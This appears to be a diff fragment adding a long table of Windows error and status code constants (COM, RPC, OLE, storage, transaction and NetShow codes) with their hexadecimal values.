+NS_I_CUB_START                                               = 0x400D0051
+NS_I_CUB_RUNNING                                             = 0x400D0052
+NS_I_DISK_START                                              = 0x400D0054
+NS_I_DISK_REBUILD_STARTED                                    = 0x400D0056
+NS_I_DISK_REBUILD_FINISHED                                   = 0x400D0057
+NS_I_DISK_REBUILD_ABORTED                                    = 0x400D0058
+NS_I_LIMIT_FUNNELS                                           = 0x400D0059
+NS_I_START_DISK                                              = 0x400D005A
+NS_I_STOP_DISK                                               = 0x400D005B
+NS_I_STOP_CUB                                                = 0x400D005C
+NS_I_KILL_USERSESSION                                        = 0x400D005D
+NS_I_KILL_CONNECTION                                         = 0x400D005E
+NS_I_REBUILD_DISK                                            = 0x400D005F
+MCMADM_I_NO_EVENTS                                           = 0x400D0069
+NS_I_LOGGING_FAILED                                          = 0x400D006E
+NS_I_LIMIT_BANDWIDTH                                         = 0x400D0070
+NS_I_CUB_UNFAIL_LINK                                         = 0x400D0191
+NS_I_RESTRIPE_START                                          = 0x400D0193
+NS_I_RESTRIPE_DONE                                           = 0x400D0194
+NS_I_RESTRIPE_DISK_OUT                                       = 0x400D0196
+NS_I_RESTRIPE_CUB_OUT                                        = 0x400D0197
+NS_I_DISK_STOP                                               = 0x400D0198
+NS_I_PLAYLIST_CHANGE_RECEDING                                = 0x400D14BE
+NS_I_RECONNECTED                                             = 0x400D2EFF
+NS_I_NOLOG_STOP                                              = 0x400D2F01
+NS_I_EXISTING_PACKETIZER                                     = 0x400D2F03
+NS_I_MANUAL_PROXY                                            = 0x400D2F04
+ERROR_GRAPHICS_DRIVER_MISMATCH                               = 0x40262009
+ERROR_GRAPHICS_UNKNOWN_CHILD_STATUS                          = 0x4026242F
+ERROR_GRAPHICS_LEADLINK_START_DEFERRED                       = 0x40262437
+ERROR_GRAPHICS_POLLING_TOO_FREQUENTLY                        = 0x40262439
+ERROR_GRAPHICS_START_DEFERRED                                = 0x4026243A
+E_PENDING                                                    = 0x8000000A
+E_NOTIMPL                                                    = 0x80004001
+E_NOINTERFACE                                                = 0x80004002
+E_POINTER                                                    = 0x80004003
+E_ABORT                                                      = 0x80004004
+E_FAIL                                                       = 0x80004005
+CO_E_INIT_TLS                                                = 0x80004006
+CO_E_INIT_SHARED_ALLOCATOR                                   = 0x80004007
+CO_E_INIT_MEMORY_ALLOCATOR                                   = 0x80004008
+CO_E_INIT_CLASS_CACHE                                        = 0x80004009
+CO_E_INIT_RPC_CHANNEL                                        = 0x8000400A
+CO_E_INIT_TLS_SET_CHANNEL_CONTROL                            = 0x8000400B
+CO_E_INIT_TLS_CHANNEL_CONTROL                                = 0x8000400C
+CO_E_INIT_UNACCEPTED_USER_ALLOCATOR                          = 0x8000400D
+CO_E_INIT_SCM_MUTEX_EXISTS                                   = 0x8000400E
+CO_E_INIT_SCM_FILE_MAPPING_EXISTS                            = 0x8000400F
+CO_E_INIT_SCM_MAP_VIEW_OF_FILE                               = 0x80004010
+CO_E_INIT_SCM_EXEC_FAILURE                                   = 0x80004011
+CO_E_INIT_ONLY_SINGLE_THREADED                               = 0x80004012
+CO_E_CANT_REMOTE                                             = 0x80004013
+CO_E_BAD_SERVER_NAME                                         = 0x80004014
+CO_E_WRONG_SERVER_IDENTITY                                   = 0x80004015
+CO_E_OLE1DDE_DISABLED                                        = 0x80004016
+CO_E_RUNAS_SYNTAX                                            = 0x80004017
+CO_E_CREATEPROCESS_FAILURE                                   = 0x80004018
+CO_E_RUNAS_CREATEPROCESS_FAILURE                             = 0x80004019
+CO_E_RUNAS_LOGON_FAILURE                                     = 0x8000401A
+CO_E_LAUNCH_PERMSSION_DENIED                                 = 0x8000401B
+CO_E_START_SERVICE_FAILURE                                   = 0x8000401C
+CO_E_REMOTE_COMMUNICATION_FAILURE                            = 0x8000401D
+CO_E_SERVER_START_TIMEOUT                                    = 0x8000401E
+CO_E_CLSREG_INCONSISTENT                                     = 0x8000401F
+CO_E_IIDREG_INCONSISTENT                                     = 0x80004020
+CO_E_NOT_SUPPORTED                                           = 0x80004021
+CO_E_RELOAD_DLL                                              = 0x80004022
+CO_E_MSI_ERROR                                               = 0x80004023
+CO_E_ATTEMPT_TO_CREATE_OUTSIDE_CLIENT_CONTEXT                = 0x80004024
+CO_E_SERVER_PAUSED                                           = 0x80004025
+CO_E_SERVER_NOT_PAUSED                                       = 0x80004026
+CO_E_CLASS_DISABLED                                          = 0x80004027
+CO_E_CLRNOTAVAILABLE                                         = 0x80004028
+CO_E_ASYNC_WORK_REJECTED                                     = 0x80004029
+CO_E_SERVER_INIT_TIMEOUT                                     = 0x8000402A
+CO_E_NO_SECCTX_IN_ACTIVATE                                   = 0x8000402B
+CO_E_TRACKER_CONFIG                                          = 0x80004030
+CO_E_THREADPOOL_CONFIG                                       = 0x80004031
+CO_E_SXS_CONFIG                                              = 0x80004032
+CO_E_MALFORMED_SPN                                           = 0x80004033
+E_UNEXPECTED                                                 = 0x8000FFFF
+RPC_E_CALL_REJECTED                                          = 0x80010001
+RPC_E_CALL_CANCELED                                          = 0x80010002
+RPC_E_CANTPOST_INSENDCALL                                    = 0x80010003
+RPC_E_CANTCALLOUT_INASYNCCALL                                = 0x80010004
+RPC_E_CANTCALLOUT_INEXTERNALCALL                             = 0x80010005
+RPC_E_CONNECTION_TERMINATED                                  = 0x80010006
+RPC_E_SERVER_DIED                                            = 0x80010007
+RPC_E_CLIENT_DIED                                            = 0x80010008
+RPC_E_INVALID_DATAPACKET                                     = 0x80010009
+RPC_E_CANTTRANSMIT_CALL                                      = 0x8001000A
+RPC_E_CLIENT_CANTMARSHAL_DATA                                = 0x8001000B
+RPC_E_CLIENT_CANTUNMARSHAL_DATA                              = 0x8001000C
+RPC_E_SERVER_CANTMARSHAL_DATA                                = 0x8001000D
+RPC_E_SERVER_CANTUNMARSHAL_DATA                              = 0x8001000E
+RPC_E_INVALID_DATA                                           = 0x8001000F
+RPC_E_INVALID_PARAMETER                                      = 0x80010010
+RPC_E_CANTCALLOUT_AGAIN                                      = 0x80010011
+RPC_E_SERVER_DIED_DNE                                        = 0x80010012
+RPC_E_SYS_CALL_FAILED                                        = 0x80010100
+RPC_E_OUT_OF_RESOURCES                                       = 0x80010101
+RPC_E_ATTEMPTED_MULTITHREAD                                  = 0x80010102
+RPC_E_NOT_REGISTERED                                         = 0x80010103
+RPC_E_FAULT                                                  = 0x80010104
+RPC_E_SERVERFAULT                                            = 0x80010105
+RPC_E_CHANGED_MODE                                           = 0x80010106
+RPC_E_INVALIDMETHOD                                          = 0x80010107
+RPC_E_DISCONNECTED                                           = 0x80010108
+RPC_E_RETRY                                                  = 0x80010109
+RPC_E_SERVERCALL_RETRYLATER                                  = 0x8001010A
+RPC_E_SERVERCALL_REJECTED                                    = 0x8001010B
+RPC_E_INVALID_CALLDATA                                       = 0x8001010C
+RPC_E_CANTCALLOUT_ININPUTSYNCCALL                            = 0x8001010D
+RPC_E_WRONG_THREAD                                           = 0x8001010E
+RPC_E_THREAD_NOT_INIT                                        = 0x8001010F
+RPC_E_VERSION_MISMATCH                                       = 0x80010110
+RPC_E_INVALID_HEADER                                         = 0x80010111
+RPC_E_INVALID_EXTENSION                                      = 0x80010112
+RPC_E_INVALID_IPID                                           = 0x80010113
+RPC_E_INVALID_OBJECT                                         = 0x80010114
+RPC_S_CALLPENDING                                            = 0x80010115
+RPC_S_WAITONTIMER                                            = 0x80010116
+RPC_E_CALL_COMPLETE                                          = 0x80010117
+RPC_E_UNSECURE_CALL                                          = 0x80010118
+RPC_E_TOO_LATE                                               = 0x80010119
+RPC_E_NO_GOOD_SECURITY_PACKAGES                              = 0x8001011A
+RPC_E_ACCESS_DENIED                                          = 0x8001011B
+RPC_E_REMOTE_DISABLED                                        = 0x8001011C
+RPC_E_INVALID_OBJREF                                         = 0x8001011D
+RPC_E_NO_CONTEXT                                             = 0x8001011E
+RPC_E_TIMEOUT                                                = 0x8001011F
+RPC_E_NO_SYNC                                                = 0x80010120
+RPC_E_FULLSIC_REQUIRED                                       = 0x80010121
+RPC_E_INVALID_STD_NAME                                       = 0x80010122
+CO_E_FAILEDTOIMPERSONATE                                     = 0x80010123
+CO_E_FAILEDTOGETSECCTX                                       = 0x80010124
+CO_E_FAILEDTOOPENTHREADTOKEN                                 = 0x80010125
+CO_E_FAILEDTOGETTOKENINFO                                    = 0x80010126
+CO_E_TRUSTEEDOESNTMATCHCLIENT                                = 0x80010127
+CO_E_FAILEDTOQUERYCLIENTBLANKET                              = 0x80010128
+CO_E_FAILEDTOSETDACL                                         = 0x80010129
+CO_E_ACCESSCHECKFAILED                                       = 0x8001012A
+CO_E_NETACCESSAPIFAILED                                      = 0x8001012B
+CO_E_WRONGTRUSTEENAMESYNTAX                                  = 0x8001012C
+CO_E_INVALIDSID                                              = 0x8001012D
+CO_E_CONVERSIONFAILED                                        = 0x8001012E
+CO_E_NOMATCHINGSIDFOUND                                      = 0x8001012F
+CO_E_LOOKUPACCSIDFAILED                                      = 0x80010130
+CO_E_NOMATCHINGNAMEFOUND                                     = 0x80010131
+CO_E_LOOKUPACCNAMEFAILED                                     = 0x80010132
+CO_E_SETSERLHNDLFAILED                                       = 0x80010133
+CO_E_FAILEDTOGETWINDIR                                       = 0x80010134
+CO_E_PATHTOOLONG                                             = 0x80010135
+CO_E_FAILEDTOGENUUID                                         = 0x80010136
+CO_E_FAILEDTOCREATEFILE                                      = 0x80010137
+CO_E_FAILEDTOCLOSEHANDLE                                     = 0x80010138
+CO_E_EXCEEDSYSACLLIMIT                                       = 0x80010139
+CO_E_ACESINWRONGORDER                                        = 0x8001013A
+CO_E_INCOMPATIBLESTREAMVERSION                               = 0x8001013B
+CO_E_FAILEDTOOPENPROCESSTOKEN                                = 0x8001013C
+CO_E_DECODEFAILED                                            = 0x8001013D
+CO_E_ACNOTINITIALIZED                                        = 0x8001013F
+CO_E_CANCEL_DISABLED                                         = 0x80010140
+RPC_E_UNEXPECTED                                             = 0x8001FFFF
+DISP_E_UNKNOWNINTERFACE                                      = 0x80020001
+DISP_E_MEMBERNOTFOUND                                        = 0x80020003
+DISP_E_PARAMNOTFOUND                                         = 0x80020004
+DISP_E_TYPEMISMATCH                                          = 0x80020005
+DISP_E_UNKNOWNNAME                                           = 0x80020006
+DISP_E_NONAMEDARGS                                           = 0x80020007
+DISP_E_BADVARTYPE                                            = 0x80020008
+DISP_E_EXCEPTION                                             = 0x80020009
+DISP_E_OVERFLOW                                              = 0x8002000A
+DISP_E_BADINDEX                                              = 0x8002000B
+DISP_E_UNKNOWNLCID                                           = 0x8002000C
+DISP_E_ARRAYISLOCKED                                         = 0x8002000D
+DISP_E_BADPARAMCOUNT                                         = 0x8002000E
+DISP_E_PARAMNOTOPTIONAL                                      = 0x8002000F
+DISP_E_BADCALLEE                                             = 0x80020010
+DISP_E_NOTACOLLECTION                                        = 0x80020011
+DISP_E_DIVBYZERO                                             = 0x80020012
+DISP_E_BUFFERTOOSMALL                                        = 0x80020013
+TYPE_E_BUFFERTOOSMALL                                        = 0x80028016
+TYPE_E_FIELDNOTFOUND                                         = 0x80028017
+TYPE_E_INVDATAREAD                                           = 0x80028018
+TYPE_E_UNSUPFORMAT                                           = 0x80028019
+TYPE_E_REGISTRYACCESS                                        = 0x8002801C
+TYPE_E_LIBNOTREGISTERED                                      = 0x8002801D
+TYPE_E_UNDEFINEDTYPE                                         = 0x80028027
+TYPE_E_QUALIFIEDNAMEDISALLOWED                               = 0x80028028
+TYPE_E_INVALIDSTATE                                          = 0x80028029
+TYPE_E_WRONGTYPEKIND                                         = 0x8002802A
+TYPE_E_ELEMENTNOTFOUND                                       = 0x8002802B
+TYPE_E_AMBIGUOUSNAME                                         = 0x8002802C
+TYPE_E_NAMECONFLICT                                          = 0x8002802D
+TYPE_E_UNKNOWNLCID                                           = 0x8002802E
+TYPE_E_DLLFUNCTIONNOTFOUND                                   = 0x8002802F
+TYPE_E_BADMODULEKIND                                         = 0x800288BD
+TYPE_E_SIZETOOBIG                                            = 0x800288C5
+TYPE_E_DUPLICATEID                                           = 0x800288C6
+TYPE_E_INVALIDID                                             = 0x800288CF
+TYPE_E_TYPEMISMATCH                                          = 0x80028CA0
+TYPE_E_OUTOFBOUNDS                                           = 0x80028CA1
+TYPE_E_IOERROR                                               = 0x80028CA2
+TYPE_E_CANTCREATETMPFILE                                     = 0x80028CA3
+TYPE_E_CANTLOADLIBRARY                                       = 0x80029C4A
+TYPE_E_INCONSISTENTPROPFUNCS                                 = 0x80029C83
+TYPE_E_CIRCULARTYPE                                          = 0x80029C84
+STG_E_INVALIDFUNCTION                                        = 0x80030001
+STG_E_FILENOTFOUND                                           = 0x80030002
+STG_E_PATHNOTFOUND                                           = 0x80030003
+STG_E_TOOMANYOPENFILES                                       = 0x80030004
+STG_E_ACCESSDENIED                                           = 0x80030005
+STG_E_INVALIDHANDLE                                          = 0x80030006
+STG_E_INSUFFICIENTMEMORY                                     = 0x80030008
+STG_E_INVALIDPOINTER                                         = 0x80030009
+STG_E_NOMOREFILES                                            = 0x80030012
+STG_E_DISKISWRITEPROTECTED                                   = 0x80030013
+STG_E_SEEKERROR                                              = 0x80030019
+STG_E_WRITEFAULT                                             = 0x8003001D
+STG_E_READFAULT                                              = 0x8003001E
+STG_E_SHAREVIOLATION                                         = 0x80030020
+STG_E_LOCKVIOLATION                                          = 0x80030021
+STG_E_FILEALREADYEXISTS                                      = 0x80030050
+STG_E_INVALIDPARAMETER                                       = 0x80030057
+STG_E_MEDIUMFULL                                             = 0x80030070
+STG_E_PROPSETMISMATCHED                                      = 0x800300F0
+STG_E_ABNORMALAPIEXIT                                        = 0x800300FA
+STG_E_INVALIDHEADER                                          = 0x800300FB
+STG_E_INVALIDNAME                                            = 0x800300FC
+STG_E_UNKNOWN                                                = 0x800300FD
+STG_E_UNIMPLEMENTEDFUNCTION                                  = 0x800300FE
+STG_E_INVALIDFLAG                                            = 0x800300FF
+STG_E_INUSE                                                  = 0x80030100
+STG_E_NOTCURRENT                                             = 0x80030101
+STG_E_REVERTED                                               = 0x80030102
+STG_E_CANTSAVE                                               = 0x80030103
+STG_E_OLDFORMAT                                              = 0x80030104
+STG_E_OLDDLL                                                 = 0x80030105
+STG_E_SHAREREQUIRED                                          = 0x80030106
+STG_E_NOTFILEBASEDSTORAGE                                    = 0x80030107
+STG_E_EXTANTMARSHALLINGS                                     = 0x80030108
+STG_E_DOCFILECORRUPT                                         = 0x80030109
+STG_E_BADBASEADDRESS                                         = 0x80030110
+STG_E_DOCFILETOOLARGE                                        = 0x80030111
+STG_E_NOTSIMPLEFORMAT                                        = 0x80030112
+STG_E_INCOMPLETE                                             = 0x80030201
+STG_E_TERMINATED                                             = 0x80030202
+STG_E_STATUS_COPY_PROTECTION_FAILURE                         = 0x80030305
+STG_E_CSS_AUTHENTICATION_FAILURE                             = 0x80030306
+STG_E_CSS_KEY_NOT_PRESENT                                    = 0x80030307
+STG_E_CSS_KEY_NOT_ESTABLISHED                                = 0x80030308
+STG_E_CSS_SCRAMBLED_SECTOR                                   = 0x80030309
+STG_E_CSS_REGION_MISMATCH                                    = 0x8003030A
+STG_E_RESETS_EXHAUSTED                                       = 0x8003030B
+OLE_E_OLEVERB                                                = 0x80040000
+OLE_E_ADVF                                                   = 0x80040001
+OLE_E_ENUM_NOMORE                                            = 0x80040002
+OLE_E_ADVISENOTSUPPORTED                                     = 0x80040003
+OLE_E_NOCONNECTION                                           = 0x80040004
+OLE_E_NOTRUNNING                                             = 0x80040005
+OLE_E_NOCACHE                                                = 0x80040006
+OLE_E_BLANK                                                  = 0x80040007
+OLE_E_CLASSDIFF                                              = 0x80040008
+OLE_E_CANT_GETMONIKER                                        = 0x80040009
+OLE_E_CANT_BINDTOSOURCE                                      = 0x8004000A
+OLE_E_STATIC                                                 = 0x8004000B
+OLE_E_PROMPTSAVECANCELLED                                    = 0x8004000C
+OLE_E_INVALIDRECT                                            = 0x8004000D
+OLE_E_WRONGCOMPOBJ                                           = 0x8004000E
+OLE_E_INVALIDHWND                                            = 0x8004000F
+OLE_E_NOT_INPLACEACTIVE                                      = 0x80040010
+OLE_E_CANTCONVERT                                            = 0x80040011
+OLE_E_NOSTORAGE                                              = 0x80040012
+DV_E_FORMATETC                                               = 0x80040064
+DV_E_DVTARGETDEVICE                                          = 0x80040065
+DV_E_STGMEDIUM                                               = 0x80040066
+DV_E_STATDATA                                                = 0x80040067
+DV_E_LINDEX                                                  = 0x80040068
+DV_E_TYMED                                                   = 0x80040069
+DV_E_CLIPFORMAT                                              = 0x8004006A
+DV_E_DVASPECT                                                = 0x8004006B
+DV_E_DVTARGETDEVICE_SIZE                                     = 0x8004006C
+DV_E_NOIVIEWOBJECT                                           = 0x8004006D
+DRAGDROP_E_NOTREGISTERED                                     = 0x80040100
+DRAGDROP_E_ALREADYREGISTERED                                 = 0x80040101
+DRAGDROP_E_INVALIDHWND                                       = 0x80040102
+CLASS_E_NOAGGREGATION                                        = 0x80040110
+CLASS_E_CLASSNOTAVAILABLE                                    = 0x80040111
+CLASS_E_NOTLICENSED                                          = 0x80040112
+VIEW_E_DRAW                                                  = 0x80040140
+REGDB_E_READREGDB                                            = 0x80040150
+REGDB_E_WRITEREGDB                                           = 0x80040151
+REGDB_E_KEYMISSING                                           = 0x80040152
+REGDB_E_INVALIDVALUE                                         = 0x80040153
+REGDB_E_CLASSNOTREG                                          = 0x80040154
+REGDB_E_IIDNOTREG                                            = 0x80040155
+REGDB_E_BADTHREADINGMODEL                                    = 0x80040156
+CAT_E_CATIDNOEXIST                                           = 0x80040160
+CAT_E_NODESCRIPTION                                          = 0x80040161
+CS_E_PACKAGE_NOTFOUND                                        = 0x80040164
+CS_E_NOT_DELETABLE                                           = 0x80040165
+CS_E_CLASS_NOTFOUND                                          = 0x80040166
+CS_E_INVALID_VERSION                                         = 0x80040167
+CS_E_NO_CLASSSTORE                                           = 0x80040168
+CS_E_OBJECT_NOTFOUND                                         = 0x80040169
+CS_E_OBJECT_ALREADY_EXISTS                                   = 0x8004016A
+CS_E_INVALID_PATH                                            = 0x8004016B
+CS_E_NETWORK_ERROR                                           = 0x8004016C
+CS_E_ADMIN_LIMIT_EXCEEDED                                    = 0x8004016D
+CS_E_SCHEMA_MISMATCH                                         = 0x8004016E
+CS_E_INTERNAL_ERROR                                          = 0x8004016F
+CACHE_E_NOCACHE_UPDATED                                      = 0x80040170
+OLEOBJ_E_NOVERBS                                             = 0x80040180
+OLEOBJ_E_INVALIDVERB                                         = 0x80040181
+INPLACE_E_NOTUNDOABLE                                        = 0x800401A0
+INPLACE_E_NOTOOLSPACE                                        = 0x800401A1
+CONVERT10_E_OLESTREAM_GET                                    = 0x800401C0
+CONVERT10_E_OLESTREAM_PUT                                    = 0x800401C1
+CONVERT10_E_OLESTREAM_FMT                                    = 0x800401C2
+CONVERT10_E_OLESTREAM_BITMAP_TO_DIB                          = 0x800401C3
+CONVERT10_E_STG_FMT                                          = 0x800401C4
+CONVERT10_E_STG_NO_STD_STREAM                                = 0x800401C5
+CONVERT10_E_STG_DIB_TO_BITMAP                                = 0x800401C6
+CLIPBRD_E_CANT_OPEN                                          = 0x800401D0
+CLIPBRD_E_CANT_EMPTY                                         = 0x800401D1
+CLIPBRD_E_CANT_SET                                           = 0x800401D2
+CLIPBRD_E_BAD_DATA                                           = 0x800401D3
+CLIPBRD_E_CANT_CLOSE                                         = 0x800401D4
+MK_E_CONNECTMANUALLY                                         = 0x800401E0
+MK_E_EXCEEDEDDEADLINE                                        = 0x800401E1
+MK_E_NEEDGENERIC                                             = 0x800401E2
+MK_E_UNAVAILABLE                                             = 0x800401E3
+MK_E_SYNTAX                                                  = 0x800401E4
+MK_E_NOOBJECT                                                = 0x800401E5
+MK_E_INVALIDEXTENSION                                        = 0x800401E6
+MK_E_INTERMEDIATEINTERFACENOTSUPPORTED                       = 0x800401E7
+MK_E_NOTBINDABLE                                             = 0x800401E8
+MK_E_NOTBOUND                                                = 0x800401E9
+MK_E_CANTOPENFILE                                            = 0x800401EA
+MK_E_MUSTBOTHERUSER                                          = 0x800401EB
+MK_E_NOINVERSE                                               = 0x800401EC
+MK_E_NOSTORAGE                                               = 0x800401ED
+MK_E_NOPREFIX                                                = 0x800401EE
+MK_E_ENUMERATION_FAILED                                      = 0x800401EF
+CO_E_NOTINITIALIZED                                          = 0x800401F0
+CO_E_ALREADYINITIALIZED                                      = 0x800401F1
+CO_E_CANTDETERMINECLASS                                      = 0x800401F2
+CO_E_CLASSSTRING                                             = 0x800401F3
+CO_E_IIDSTRING                                               = 0x800401F4
+CO_E_APPNOTFOUND                                             = 0x800401F5
+CO_E_APPSINGLEUSE                                            = 0x800401F6
+CO_E_ERRORINAPP                                              = 0x800401F7
+CO_E_DLLNOTFOUND                                             = 0x800401F8
+CO_E_ERRORINDLL                                              = 0x800401F9
+CO_E_WRONGOSFORAPP                                           = 0x800401FA
+CO_E_OBJNOTREG                                               = 0x800401FB
+CO_E_OBJISREG                                                = 0x800401FC
+CO_E_OBJNOTCONNECTED                                         = 0x800401FD
+CO_E_APPDIDNTREG                                             = 0x800401FE
+CO_E_RELEASED                                                = 0x800401FF
+EVENT_E_ALL_SUBSCRIBERS_FAILED                               = 0x80040201
+EVENT_E_QUERYSYNTAX                                          = 0x80040203
+EVENT_E_QUERYFIELD                                           = 0x80040204
+EVENT_E_INTERNALEXCEPTION                                    = 0x80040205
+EVENT_E_INTERNALERROR                                        = 0x80040206
+EVENT_E_INVALID_PER_USER_SID                                 = 0x80040207
+EVENT_E_USER_EXCEPTION                                       = 0x80040208
+EVENT_E_TOO_MANY_METHODS                                     = 0x80040209
+EVENT_E_MISSING_EVENTCLASS                                   = 0x8004020A
+EVENT_E_NOT_ALL_REMOVED                                      = 0x8004020B
+EVENT_E_COMPLUS_NOT_INSTALLED                                = 0x8004020C
+EVENT_E_CANT_MODIFY_OR_DELETE_UNCONFIGURED_OBJECT            = 0x8004020D
+EVENT_E_CANT_MODIFY_OR_DELETE_CONFIGURED_OBJECT              = 0x8004020E
+EVENT_E_INVALID_EVENT_CLASS_PARTITION                        = 0x8004020F
+EVENT_E_PER_USER_SID_NOT_LOGGED_ON                           = 0x80040210
+SCHED_E_TRIGGER_NOT_FOUND                                    = 0x80041309
+SCHED_E_TASK_NOT_READY                                       = 0x8004130A
+SCHED_E_TASK_NOT_RUNNING                                     = 0x8004130B
+SCHED_E_SERVICE_NOT_INSTALLED                                = 0x8004130C
+SCHED_E_CANNOT_OPEN_TASK                                     = 0x8004130D
+SCHED_E_INVALID_TASK                                         = 0x8004130E
+SCHED_E_ACCOUNT_INFORMATION_NOT_SET                          = 0x8004130F
+SCHED_E_ACCOUNT_NAME_NOT_FOUND                               = 0x80041310
+SCHED_E_ACCOUNT_DBASE_CORRUPT                                = 0x80041311
+SCHED_E_NO_SECURITY_SERVICES                                 = 0x80041312
+SCHED_E_UNKNOWN_OBJECT_VERSION                               = 0x80041313
+SCHED_E_UNSUPPORTED_ACCOUNT_OPTION                           = 0x80041314
+SCHED_E_SERVICE_NOT_RUNNING                                  = 0x80041315
+SCHED_E_UNEXPECTEDNODE                                       = 0x80041316
+SCHED_E_NAMESPACE                                            = 0x80041317
+SCHED_E_INVALIDVALUE                                         = 0x80041318
+SCHED_E_MISSINGNODE                                          = 0x80041319
+SCHED_E_MALFORMEDXML                                         = 0x8004131A
+SCHED_E_TOO_MANY_NODES                                       = 0x8004131D
+SCHED_E_PAST_END_BOUNDARY                                    = 0x8004131E
+SCHED_E_ALREADY_RUNNING                                      = 0x8004131F
+SCHED_E_USER_NOT_LOGGED_ON                                   = 0x80041320
+SCHED_E_INVALID_TASK_HASH                                    = 0x80041321
+SCHED_E_SERVICE_NOT_AVAILABLE                                = 0x80041322
+SCHED_E_SERVICE_TOO_BUSY                                     = 0x80041323
+SCHED_E_TASK_ATTEMPTED                                       = 0x80041324
+XACT_E_ALREADYOTHERSINGLEPHASE                               = 0x8004D000
+XACT_E_CANTRETAIN                                            = 0x8004D001
+XACT_E_COMMITFAILED                                          = 0x8004D002
+XACT_E_COMMITPREVENTED                                       = 0x8004D003
+XACT_E_HEURISTICABORT                                        = 0x8004D004
+XACT_E_HEURISTICCOMMIT                                       = 0x8004D005
+XACT_E_HEURISTICDAMAGE                                       = 0x8004D006
+XACT_E_HEURISTICDANGER                                       = 0x8004D007
+XACT_E_ISOLATIONLEVEL                                        = 0x8004D008
+XACT_E_NOASYNC                                               = 0x8004D009
+XACT_E_NOENLIST                                              = 0x8004D00A
+XACT_E_NOISORETAIN                                           = 0x8004D00B
+XACT_E_NORESOURCE                                            = 0x8004D00C
+XACT_E_NOTCURRENT                                            = 0x8004D00D
+XACT_E_NOTRANSACTION                                         = 0x8004D00E
+XACT_E_NOTSUPPORTED                                          = 0x8004D00F
+XACT_E_UNKNOWNRMGRID                                         = 0x8004D010
+XACT_E_WRONGSTATE                                            = 0x8004D011
+XACT_E_WRONGUOW                                              = 0x8004D012
+XACT_E_XTIONEXISTS                                           = 0x8004D013
+XACT_E_NOIMPORTOBJECT                                        = 0x8004D014
+XACT_E_INVALIDCOOKIE                                         = 0x8004D015
+XACT_E_INDOUBT                                               = 0x8004D016
+XACT_E_NOTIMEOUT                                             = 0x8004D017
+XACT_E_ALREADYINPROGRESS                                     = 0x8004D018
+XACT_E_ABORTED                                               = 0x8004D019
+XACT_E_LOGFULL                                               = 0x8004D01A
+XACT_E_TMNOTAVAILABLE                                        = 0x8004D01B
+XACT_E_CONNECTION_DOWN                                       = 0x8004D01C
+XACT_E_CONNECTION_DENIED                                     = 0x8004D01D
+XACT_E_REENLISTTIMEOUT                                       = 0x8004D01E
+XACT_E_TIP_CONNECT_FAILED                                    = 0x8004D01F
+XACT_E_TIP_PROTOCOL_ERROR                                    = 0x8004D020
+XACT_E_TIP_PULL_FAILED                                       = 0x8004D021
+XACT_E_DEST_TMNOTAVAILABLE                                   = 0x8004D022
+XACT_E_TIP_DISABLED                                          = 0x8004D023
+XACT_E_NETWORK_TX_DISABLED                                   = 0x8004D024
+XACT_E_PARTNER_NETWORK_TX_DISABLED                           = 0x8004D025
+XACT_E_XA_TX_DISABLED                                        = 0x8004D026
+XACT_E_UNABLE_TO_READ_DTC_CONFIG                             = 0x8004D027
+XACT_E_UNABLE_TO_LOAD_DTC_PROXY                              = 0x8004D028
+XACT_E_ABORTING                                              = 0x8004D029
+XACT_E_CLERKNOTFOUND                                         = 0x8004D080
+XACT_E_CLERKEXISTS                                           = 0x8004D081
+XACT_E_RECOVERYINPROGRESS                                    = 0x8004D082
+XACT_E_TRANSACTIONCLOSED                                     = 0x8004D083
+XACT_E_INVALIDLSN                                            = 0x8004D084
+XACT_E_REPLAYREQUEST                                         = 0x8004D085
+XACT_E_CONNECTION_REQUEST_DENIED                             = 0x8004D100
+XACT_E_TOOMANY_ENLISTMENTS                                   = 0x8004D101
+XACT_E_DUPLICATE_GUID                                        = 0x8004D102
+XACT_E_NOTSINGLEPHASE                                        = 0x8004D103
+XACT_E_RECOVERYALREADYDONE                                   = 0x8004D104
+XACT_E_PROTOCOL                                              = 0x8004D105
+XACT_E_RM_FAILURE                                            = 0x8004D106
+XACT_E_RECOVERY_FAILED                                       = 0x8004D107
+XACT_E_LU_NOT_FOUND                                          = 0x8004D108
+XACT_E_DUPLICATE_LU                                          = 0x8004D109
+XACT_E_LU_NOT_CONNECTED                                      = 0x8004D10A
+XACT_E_DUPLICATE_TRANSID                                     = 0x8004D10B
+XACT_E_LU_BUSY                                               = 0x8004D10C
+XACT_E_LU_NO_RECOVERY_PROCESS                                = 0x8004D10D
+XACT_E_LU_DOWN                                               = 0x8004D10E
+XACT_E_LU_RECOVERING                                         = 0x8004D10F
+XACT_E_LU_RECOVERY_MISMATCH                                  = 0x8004D110
+XACT_E_RM_UNAVAILABLE                                        = 0x8004D111
+CONTEXT_E_ABORTED                                            = 0x8004E002
+CONTEXT_E_ABORTING                                           = 0x8004E003
+CONTEXT_E_NOCONTEXT                                          = 0x8004E004
+CONTEXT_E_WOULD_DEADLOCK                                     = 0x8004E005
+CONTEXT_E_SYNCH_TIMEOUT                                      = 0x8004E006
+CONTEXT_E_OLDREF                                             = 0x8004E007
+CONTEXT_E_ROLENOTFOUND                                       = 0x8004E00C
+CONTEXT_E_TMNOTAVAILABLE                                     = 0x8004E00F
+CO_E_ACTIVATIONFAILED                                        = 0x8004E021
+CO_E_ACTIVATIONFAILED_EVENTLOGGED                            = 0x8004E022
+CO_E_ACTIVATIONFAILED_CATALOGERROR                           = 0x8004E023
+CO_E_ACTIVATIONFAILED_TIMEOUT                                = 0x8004E024
+CO_E_INITIALIZATIONFAILED                                    = 0x8004E025
+CONTEXT_E_NOJIT                                              = 0x8004E026
+CONTEXT_E_NOTRANSACTION                                      = 0x8004E027
+CO_E_THREADINGMODEL_CHANGED                                  = 0x8004E028
+CO_E_NOIISINTRINSICS                                         = 0x8004E029
+CO_E_NOCOOKIES                                               = 0x8004E02A
+CO_E_DBERROR                                                 = 0x8004E02B
+CO_E_NOTPOOLED                                               = 0x8004E02C
+CO_E_NOTCONSTRUCTED                                          = 0x8004E02D
+CO_E_NOSYNCHRONIZATION                                       = 0x8004E02E
+CO_E_ISOLEVELMISMATCH                                        = 0x8004E02F
+CO_E_CALL_OUT_OF_TX_SCOPE_NOT_ALLOWED                        = 0x8004E030
+CO_E_EXIT_TRANSACTION_SCOPE_NOT_CALLED                       = 0x8004E031
+E_ACCESSDENIED                                               = 0x80070005
+E_OUTOFMEMORY                                                = 0x8007000E
+ERROR_NOT_SUPPORTED                                          = 0x80070032
+E_INVALIDARG                                                 = 0x80070057
+CO_E_CLASS_CREATE_FAILED                                     = 0x80080001
+CO_E_SCM_ERROR                                               = 0x80080002
